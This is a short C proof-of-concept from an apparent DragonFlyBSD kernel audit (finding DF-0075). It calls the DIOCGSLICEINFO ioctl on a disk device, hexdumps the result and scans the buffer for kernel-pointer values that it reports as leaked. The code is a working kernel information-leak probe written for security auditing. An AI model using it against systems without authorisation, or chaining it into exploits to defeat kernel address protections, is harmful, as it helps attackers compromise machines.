⬢ DragonFlyBSD Kernel Audit
DF-0075 / dump2.c
← back to finding ↓ download raw 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/* DF-0075 raw hexdump - dump N bytes of DIOCGSLICEINFO output + scan for kptrs */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/disklabel.h>
#include <sys/diskslice.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <err.h>

static char buf[16384];

int main(int argc, char **argv)
{
	const char *dev = argc > 1 ? argv[1] : "/dev/vbd0";
	int nbytes = argc > 2 ? atoi(argv[2]) : 768;
	int fd, i, nfound = 0;
	fd = open(dev, O_RDONLY);
	if (fd < 0) err(1, "open %s", dev);
	if (ioctl(fd, DIOCGSLICEINFO, buf) < 0) err(1, "ioctl");
	close(fd);
	/* dump first nbytes */
	if (nbytes > 4096) nbytes = 4096;
	for (i = 0; i < nbytes; i += 16) {
		int j;
		printf("%04x: ", i);
		for (j = 0; j < 16; j++) printf("%02x ", (unsigned char)buf[i+j]);
		printf(" |");
		for (j = 0; j < 16; j++) {
			unsigned char c = buf[i+j];
			putchar((c >= 32 && c < 127) ? c : '.');
		}
		printf("|\n");
	}
	/* scan whole buffer for kernel pointers */
	printf("\n[*] kernel-pointer-shaped 8-byte values in returned struct:\n");
	for (i = 0; i + 8 <= 4096; i += 8) {
		unsigned long long v;
		memcpy(&v, buf + i, 8);
		if (v != 0 && (v & 0xffff000000000000ULL) == 0xffff000000000000ULL) {
			printf("  [+0x%03x] 0x%016llx\n", i, v);
			nfound++;
		}
	}
	printf("[*] total: %d kernel pointers leaked\n", nfound);
	return 0;
}